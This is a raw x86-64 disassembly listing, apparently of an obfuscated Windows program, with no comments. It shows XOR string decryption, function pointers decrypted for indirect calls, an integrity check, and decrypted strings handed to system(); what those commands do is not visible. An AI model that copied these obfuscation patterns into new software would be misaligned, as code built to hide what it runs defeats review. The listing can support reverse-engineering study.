mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cc965
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400cc965
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140224898
nop
cmp byte [0x1408a5b76], 0
jne 0x1400cc992
cmp byte [0x1408a5b5e], 0
jne 0x1400cc992
mov qword [0x1408a6788], r13
mov byte [0x1408a5b5e], 1
mov byte [0x1408a5b76], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rsp + 0x40]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400cc9b0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14006d8c0
nop
mov byte [rbp + 0x30], 1
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x30]
lea rcx, [rbp + 8]
call fcn.14006ece0
nop
cmp byte [rbp + 0x30], 0
jne 0x1400cce54
mov r12, qword [rbp + 0x18]
lea rdi, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rdi, qword [rbp + 8]
mov rbx, qword [0x1408a6f88]
mov r13, qword [0x1408a6fb8]
lea r9, [0x1408a5f80]
cmp byte [0x1408a5b5d], 0
jne 0x1400cca73
mov rcx, r9
mov rdx, qword [0x140713e40]
lea r15, [0x1408a6780]
mov r14d, 0xffffffff
nop
mov rax, rdx
not rax
xor rax, r13
xor rax, rbx
mov qword [rcx], rax
sub rdx, r14
add rcx, 8
cmp rcx, r15
jl 0x1400cca40
mov qword [0x140713e40], rdx
mov byte [0x1408a5b5d], 1
xor r14d, r14d
lea r15, [0x140713b6d]
mov qword [rbp + 0x1d0], rbx
mov r8d, r14d
test r12, r12
je 0x1400ccaee
mov rdx, rdi
nop word [rax + rax]
movzx ecx, byte [rdx]
movzx eax, cl
xor al, bl
mov byte [rbp + 0x1d0], al
xor byte [rbp + 0x1d1], cl
xor byte [rbp + 0x1d2], cl
xor byte [rbp + 0x1d3], cl
xor byte [rbp + 0x1d4], cl
xor byte [rbp + 0x1d5], cl
xor byte [rbp + 0x1d6], cl
xor byte [rbp + 0x1d7], cl
not cl
movzx eax, cl
mov rbx, qword [rbp + 0x1d0]
xor rbx, qword [r9 + rax*8]
mov qword [rbp + 0x1d0], rbx
inc r8d
lea rdx, [rdx + 1]
movsxd rax, r8d
cmp rax, r12
jb 0x1400cca90
mov edx, dword [0x1408a8a78]
mov rax, qword gs:[0x58]
mov rsi, qword [rax + rdx*8]
mov eax, 4
mov eax, dword [rax + rsi]
cmp dword [0x1408a8660], eax
jg 0x1400d003b
jmp 0x1400ccb1e
mov r13, qword [0x1408a6fb8]
mov eax, 4
mov eax, dword [rax + rsi]
cmp dword [0x1408a8670], eax
jg 0x1400d006d
jmp 0x1400ccb3b
mov r13, qword [0x1408a6fb8]
movzx r9d, byte [rdi]
mov byte [rbp + 0x1c8], r9b
cmp r12, 1
jbe 0x1400ccb54
movzx r8d, byte [r12 + rdi - 1]
jmp 0x1400ccb5c
movzx r8d, byte [0x1408a6b94]
mov byte [rbp + 0x1c0], r8b
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x40], r12
mov eax, r14d
movzx ecx, r12b
movzx edx, r12b
nop dword [rax + rax]
xor cl, r9b
xor dl, r8b
inc eax
cmp eax, 8
jb 0x1400ccb80
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x40], dl
lea rdi, [r12*8]
mov rdx, r12
xor rdx, r13
mov r11, qword [0x1408a8668]
xor r11, rdx
xor byte [rbp + 0x1d0], r11b
mov rsi, qword [rsp + 0x60]
mov rbx, rsi
movzx r8d, byte [0x1408a8674]
test r8b, r8b
cmove rbx, qword [rsp + 0x40]
mov rax, rbx
shl rax, 0x38
mov rcx, qword [rbp + 0x1d0]
xor rcx, rax
mov qword [rbp + 0x1d0], rcx
xor r11, rdx
mov rax, r11
shr rax, 8
shr rcx, 8
xor al, cl
mov byte [rbp + 0x1d1], al
test r8b, r8b
cmovne rsi, qword [rsp + 0x40]
mov rax, rsi
shl rax, 0x38
mov rdx, qword [rbp + 0x1d0]
xor rdx, rax
mov qword [rbp + 0x1d0], rdx
movzx ecx, dil
and cl, 0xf
mov r10, r12
shl r10, cl
xor r10, r13
xor r10, r11
mov rax, r10
shr rax, 0x10
shr rdx, 0x10
xor al, dl
mov byte [rbp + 0x1d2], al
mov rax, rbx
shl rax, 0x30
mov r8, qword [rbp + 0x1d0]
xor r8, rax
mov qword [rbp + 0x1d0], r8
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul rdi
shr rdx, 4
lea rax, [rdx + rdx*2]
shl rax, 3
mov rcx, rdi
sub rcx, rax
mov r9, r12
shl r9, cl
xor r9, r13
xor r9, r10
mov rax, r9
shr rax, 0x18
shr r8, 0x18
xor al, r8b
mov byte [rbp + 0x1d3], al
mov rax, rsi
shl rax, 0x28
mov rdx, qword [rbp + 0x1d0]
xor rdx, rax
mov qword [rbp + 0x1d0], rdx
movzx ecx, dil
and cl, 0x1f
mov r10, r12
shl r10, cl
xor r10, r13
xor r10, r9
mov rax, r10
shr rax, 0x20
shr rdx, 0x20
xor al, dl
mov byte [rbp + 0x1d4], al
mov rax, rbx
shl rax, 0x20
mov r8, qword [rbp + 0x1d0]
xor r8, rax
mov qword [rbp + 0x1d0], r8
movabs rax, 0xcccccccccccccccd
mul rdi
shr rdx, 5
lea rax, [rdx + rdx*4]
shl rax, 3
mov rcx, rdi
sub rcx, rax
mov r9, r12
shl r9, cl
xor r9, r13
xor r9, r10
mov rcx, r9
shr rcx, 0x28
shr r8, 0x28
xor cl, r8b
mov byte [rbp + 0x1d5], cl
mov rcx, rsi
shl rcx, 0x18
mov r8, qword [rbp + 0x1d0]
xor r8, rcx
mov qword [rbp + 0x1d0], r8
mov rax, r11
mul rdi
shr rdx, 5
lea rax, [rdx + rdx*2]
shl rax, 4
mov rcx, rdi
sub rcx, rax
mov r10, r12
shl r10, cl
xor r10, r13
xor r10, r9
mov rax, r10
shr rax, 0x30
shr r8, 0x30
xor al, r8b
mov byte [rbp + 0x1d6], al
shl rbx, 0x10
mov r8, qword [rbp + 0x1d0]
xor r8, rbx
mov qword [rbp + 0x1d0], r8
movabs rax, 0x2492492492492493
mul rdi
mov rax, rdi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x38
sub rdi, rax
movzx ecx, dil
shl r12, cl
shr r12, 0x38
shr r8, 0x38
xor r12b, r8b
shr r10, 0x38
xor r12b, r10b
xor r12b, byte [0x1408a6fbf]
mov byte [rbp + 0x1d7], r12b
movzx eax, byte [rbp + 0x1c8]
shl rax, 7
mov r8, qword [0x1408a6bf8]
sub r8, rax
movzx eax, byte [rbp + 0x1c0]
imul rcx, rax, 0xff
sub r8, rcx
shl rsi, 8
xor r8, rsi
xor r8, qword [0x1408a8658]
xor r8, qword [rbp + 0x1d0]
mov qword [0x1408a8658], r14
mov qword [0x1408a8668], r14
mov byte [0x1408a8674], 0
cmp r8, qword [rbp + 0x28]
je 0x1400cce54
mov rbx, qword [0x1408a6788]
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp - 0x80]
call fcn.1400e1440
mov rcx, rax
lea rdx, [rbp + 8]
call rbx
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x60]
call fcn.1400df200
nop
mov byte [rbp + 0x30], 1
lea rbx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rbx, qword [rbp + 8]
cmp byte [0x1408a68bd], 0
jne 0x1400cce83
call fcn.14010f9e0
test rbx, rbx
je 0x1400cd4af
mov rsi, qword [rsp + 0x70]
test rsi, rsi
je 0x1400cd4af
mov rdx, rsi
mov rcx, rbx
call fcn.140111470
mov rdi, rax
cmp byte [rax + 9], 0
jne 0x1400cd0a8
cmp qword [0x1408a6930], 0
je 0x1400cd09e
cmp qword [0x1408a6938], 0
je 0x1400cd09e
mov edx, r14d
movzx r8d, byte [rax + 1]
movzx r9d, byte [rax + 2]
movzx r10d, byte [rax + 3]
movzx r11d, byte [rax + 4]
movzx esi, byte [rax + 5]
movzx r12d, byte [rax + 6]
movzx r13d, byte [rax + 7]
mov rax, r15
movzx ecx, byte [rdi]
nop dword [rax]
xor cl, byte [rax]
mov byte [rdi], cl
xor r8b, byte [rax]
mov byte [rdi + 1], r8b
xor r9b, byte [rax]
mov byte [rdi + 2], r9b
xor r10b, byte [rax]
mov byte [rdi + 3], r10b
xor r11b, byte [rax]
mov byte [rdi + 4], r11b
xor sil, byte [rax]
mov byte [rdi + 5], sil
xor r12b, byte [rax]
mov byte [rdi + 6], r12b
xor r13b, byte [rax]
mov byte [rdi + 7], r13b
inc edx
lea rax, [rax + 1]
cmp edx, 1
jb 0x1400ccf00
movzx edx, byte [rdi + 8]
mov rax, qword [0x1408a6938]
mov rcx, qword [rax]
mov rax, qword [rcx + rdx*8]
mov qword [rbp + 0x1c0], rax
mov ecx, r14d
mov rdx, r15
movzx r8d, byte [rbp + 0x1c7]
movzx r9d, byte [rbp + 0x1c6]
movzx r10d, byte [rbp + 0x1c5]
movzx r11d, byte [rbp + 0x1c4]
movzx esi, byte [rbp + 0x1c3]
movzx r12d, byte [rbp + 0x1c2]
movzx r13d, byte [rbp + 0x1c1]
nop word [rax + rax]
movzx eax, byte [rdx]
xor byte [rbp + 0x1c0], al
xor r13b, al
xor r12b, al
xor sil, al
xor r11b, al
xor r10b, al
xor r9b, al
xor r8b, al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 1
jb 0x1400ccfa0
mov byte [rbp + 0x1c7], r8b
mov byte [rbp + 0x1c6], r9b
mov byte [rbp + 0x1c5], r10b
mov byte [rbp + 0x1c4], r11b
mov byte [rbp + 0x1c3], sil
mov byte [rbp + 0x1c2], r12b
mov byte [rbp + 0x1c1], r13b
movzx r8d, byte [rdi + 9]
mov rdx, qword [rdi + 0x12]
mov rcx, qword [rdi]
call qword [rbp + 0x1c0]
mov byte [rbp + 0x1c0], al
mov byte [0x1408a8640], al
cmp byte [rdi + 9], 0
sete cl
mov byte [rdi + 9], cl
mov edx, r14d
movzx r8d, byte [rdi + 1]
movzx r9d, byte [rdi + 2]
movzx r10d, byte [rdi + 3]
movzx r11d, byte [rdi + 4]
movzx esi, byte [rdi + 5]
movzx r12d, byte [rdi + 6]
movzx r13d, byte [rdi + 7]
mov rax, r15
movzx ecx, byte [rdi]
nop dword [rax]
xor cl, byte [rax]
mov byte [rdi], cl
xor r8b, byte [rax]
mov byte [rdi + 1], r8b
xor r9b, byte [rax]
mov byte [rdi + 2], r9b
xor r10b, byte [rax]
mov byte [rdi + 3], r10b
xor r11b, byte [rax]
mov byte [rdi + 4], r11b
xor sil, byte [rax]
mov byte [rdi + 5], sil
xor r12b, byte [rax]
mov byte [rdi + 6], r12b
xor r13b, byte [rax]
mov byte [rdi + 7], r13b
inc edx
lea rax, [rax + 1]
cmp edx, 1
jb 0x1400cd050
mov rsi, qword [rsp + 0x70]
movzx eax, byte [rbp + 0x1c0]
jmp 0x1400cd0a0
xor al, al
test al, al
je 0x1400cd4af
test rsi, rsi
je 0x1400cd2d2
lea r8, [0x140000000]
nop dword [rax + rax]
mov rdx, r14
movzx eax, byte [rbx]
movzx ecx, byte [rdx + r8 + 0x8a68cc]
xor al, byte [r8 + rcx*8 + 0x8a6940]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a68cc]
xor al, byte [r8 + rcx*8 + 0x8a6941]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a68cc]
xor al, byte [r8 + rcx*8 + 0x8a6942]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a68cc]
xor al, byte [r8 + rcx*8 + 0x8a6943]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a68cc]
xor al, byte [r8 + rcx*8 + 0x8a6944]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a68cc]
xor al, byte [r8 + rcx*8 + 0x8a6945]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a68cc]
xor al, byte [r8 + rcx*8 + 0x8a6946]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a68cc]
xor al, byte [r8 + rcx*8 + 0x8a6947]
mov byte [rbx], al
inc rdx
cmp rdx, 4
jb 0x1400cd0c6
mov rdx, r14
nop
movzx ecx, byte [rdx + r8 + 0x8a6ac0]
xor al, byte [r8 + rcx*8 + 0x8a69c0]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac0]
xor al, byte [r8 + rcx*8 + 0x8a69c1]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac0]
xor al, byte [r8 + rcx*8 + 0x8a69c2]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac0]
xor al, byte [r8 + rcx*8 + 0x8a69c3]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac0]
xor al, byte [r8 + rcx*8 + 0x8a69c4]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac0]
xor al, byte [r8 + rcx*8 + 0x8a69c5]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac0]
xor al, byte [r8 + rcx*8 + 0x8a69c6]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac0]
xor al, byte [r8 + rcx*8 + 0x8a69c7]
mov byte [rbx], al
inc rdx
cmp rdx, 8
jb 0x1400cd170
mov rdx, r14
nop dword [rax + rax]
movzx ecx, byte [rdx + r8 + 0x8a6ac8]
xor al, byte [r8 + rcx*8 + 0x8a6a40]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac8]
xor al, byte [r8 + rcx*8 + 0x8a6a41]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac8]
xor al, byte [r8 + rcx*8 + 0x8a6a42]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac8]
xor al, byte [r8 + rcx*8 + 0x8a6a43]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac8]
xor al, byte [r8 + rcx*8 + 0x8a6a44]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac8]
xor al, byte [r8 + rcx*8 + 0x8a6a45]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac8]
xor al, byte [r8 + rcx*8 + 0x8a6a46]
mov byte [rbx], al
movzx ecx, byte [rdx + r8 + 0x8a6ac8]
xor al, byte [r8 + rcx*8 + 0x8a6a47]
mov byte [rbx], al
inc rdx
cmp rdx, 0xc
jb 0x1400cd220
inc rbx
sub rsi, 1
jne 0x1400cd0c0
cmp byte [rdi + 9], 0
je 0x1400cd4af
cmp qword [0x1408a6930], 0
je 0x1400cd4af
cmp qword [0x1408a6938], 0
je 0x1400cd4af
mov ecx, r14d
movzx edx, byte [rdi]
movzx r8d, byte [rdi + 1]
movzx r9d, byte [rdi + 2]
movzx r10d, byte [rdi + 3]
movzx r11d, byte [rdi + 4]
movzx ebx, byte [rdi + 5]
movzx esi, byte [rdi + 6]
movzx r12d, byte [rdi + 7]
mov rax, r15
xor dl, byte [rax]
mov byte [rdi], dl
xor r8b, byte [rax]
mov byte [rdi + 1], r8b
xor r9b, byte [rax]
mov byte [rdi + 2], r9b
xor r10b, byte [rax]
mov byte [rdi + 3], r10b
xor r11b, byte [rax]
mov byte [rdi + 4], r11b
xor bl, byte [rax]
mov byte [rdi + 5], bl
xor sil, byte [rax]
mov byte [rdi + 6], sil
xor r12b, byte [rax]
mov byte [rdi + 7], r12b
inc ecx
lea rax, [rax + 1]
cmp ecx, 1
jb 0x1400cd322
movzx edx, byte [rdi + 8]
mov rax, qword [0x1408a6938]
mov rcx, qword [rax]
mov rax, qword [rcx + rdx*8]
mov qword [rbp + 0x1c0], rax
mov ecx, r14d
mov rdx, r15
movzx r8d, byte [rbp + 0x1c7]
movzx r9d, byte [rbp + 0x1c6]
movzx r10d, byte [rbp + 0x1c5]
movzx r11d, byte [rbp + 0x1c4]
movzx ebx, byte [rbp + 0x1c3]
movzx esi, byte [rbp + 0x1c2]
movzx r12d, byte [rbp + 0x1c1]
movzx r13d, al
nop dword [rax]
movzx eax, byte [rdx]
xor r13b, al
xor r12b, al
xor sil, al
xor bl, al
xor r11b, al
xor r10b, al
xor r9b, al
xor r8b, al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 1
jb 0x1400cd3c0
mov byte [rbp + 0x1c7], r8b
mov byte [rbp + 0x1c6], r9b
mov byte [rbp + 0x1c5], r10b
mov byte [rbp + 0x1c4], r11b
mov byte [rbp + 0x1c3], bl
mov byte [rbp + 0x1c2], sil
mov byte [rbp + 0x1c1], r12b
mov byte [rbp + 0x1c0], r13b
movzx r8d, byte [rdi + 9]
mov rdx, qword [rdi + 0x12]
mov rcx, qword [rdi]
call qword [rbp + 0x1c0]
mov byte [0x1408a8640], al
cmp byte [rdi + 9], 0
sete al
mov byte [rdi + 9], al
mov eax, r14d
movzx ecx, byte [rdi]
movzx edx, byte [rdi + 1]
movzx r8d, byte [rdi + 2]
movzx r9d, byte [rdi + 3]
movzx r10d, byte [rdi + 4]
movzx r11d, byte [rdi + 5]
movzx ebx, byte [rdi + 6]
movzx esi, byte [rdi + 7]
nop dword [rax]
nop dword [rax + rax]
xor cl, byte [r15]
mov byte [rdi], cl
xor dl, byte [r15]
mov byte [rdi + 1], dl
xor r8b, byte [r15]
mov byte [rdi + 2], r8b
xor r9b, byte [r15]
mov byte [rdi + 3], r9b
xor r10b, byte [r15]
mov byte [rdi + 4], r10b
xor r11b, byte [r15]
mov byte [rdi + 5], r11b
xor bl, byte [r15]
mov byte [rdi + 6], bl
xor sil, byte [r15]
mov byte [rdi + 7], sil
inc eax
lea r15, [r15 + 1]
cmp eax, 1
jb 0x1400cd470
lea rcx, [rsp + 0x60]
call fcn.14006ead0
mov r8, qword [rsp + 0x38]
cmp r8, 0xf
jbe 0x1400cd4d4
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.1400ea290
nop
mov dword [rbp + 0x70], 8
mov dword [rbp + 0x74], 3
mov qword [rbp + 0x88], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movdqu xmmword [rbp + 0xb0], xmm0
movdqu xmmword [rbp + 0xc0], xmm1
lea rcx, [rbp + 0x70]
call fcn.14010f420
lea rcx, [rbp + 0x70]
call fcn.1400fc720
mov dl, 1
lea rcx, [rbp + 0x70]
call fcn.14010dfd0
lea rcx, [rbp + 0x70]
call fcn.140115f40
lea rcx, [rbp + 0x70]
call fcn.140115cc0
lea rcx, [rbp + 0x70]
call fcn.140116470
mov r8b, 1
xor edx, edx
lea rcx, [rbp + 0x70]
call fcn.140113fa0
mov rcx, qword [0x1408a6be0]
call fcn.1400a2ce0
mov rcx, qword [0x1408a6be0]
call fcn.1400a48f0
mov rcx, qword [0x1408a6be0]
call fcn.1400a4040
mov byte [rbp + 0x1c0], 0
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [str.U_K9U__I]
mov dword [rbp + 0x1c0], eax
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400cd649
mov r8d, r14d
cmp ebx, 2
jl 0x1400cd618
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1c0], xmm1
jmp 0x1400cd649
lea r9, [rbp + 0x1c0]
nop
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400cd620
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm2, xmmword [0x14037e7f8]
movups xmmword [rsp + 0x20], xmm2
movzx eax, byte [0x14037e808]
mov byte [rsp + 0x30], al
mov r8d, r14d
movdqa xmm12, xmmword [0x14037baa0]
cmp ebx, 2
jl 0x1400cd835
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm15
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm2, xmm1
movd dword [rsp + 0x24], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x28]
xorps xmm2, xmm1
movd dword [rsp + 0x28], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c]
xorps xmm2, xmm1
movd dword [rsp + 0x2c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rsp + 0x20]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400cd840
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov rax, qword [rcx]
movsxd rdi, dword [rax + 4]
add rdi, rcx
movsd xmm0, qword [str.SYgli]
movsd qword [rsp + 0x40], xmm0
mov ecx, dword [0x14037e818]
mov dword [rsp + 0x48], ecx
cmp byte [0x14037e81b], 0
je 0x1400cda39
mov r8d, r14d
cmp ebx, 2
jl 0x1400cda02
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm15
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SYgli]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x48], xmm2
jmp 0x1400cda39
lea r9, [rsp + 0x40]
nop word [rax + rax]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400cda10
mov r8d, 0x3f
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400e1180
mov r8, rax
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::imbue_class_std::locale_const____ptr64____ptr64]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400cda82
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400cda82
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400cdaa5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400cdaa5
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movups xmm2, xmmword [0x14037e820]
movups xmmword [rsp + 0x20], xmm2
mov edx, dword [0x14037e830]
mov dword [rsp + 0x30], edx
movdqa xmm13, xmmword [0x14037bab0]
cmp byte [0x14037e833], 0
je 0x1400cdd29
mov r8d, r14d
cmp ebx, 2
jl 0x1400cdcf5
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm15
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm2, xmm1
movd dword [rsp + 0x24], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
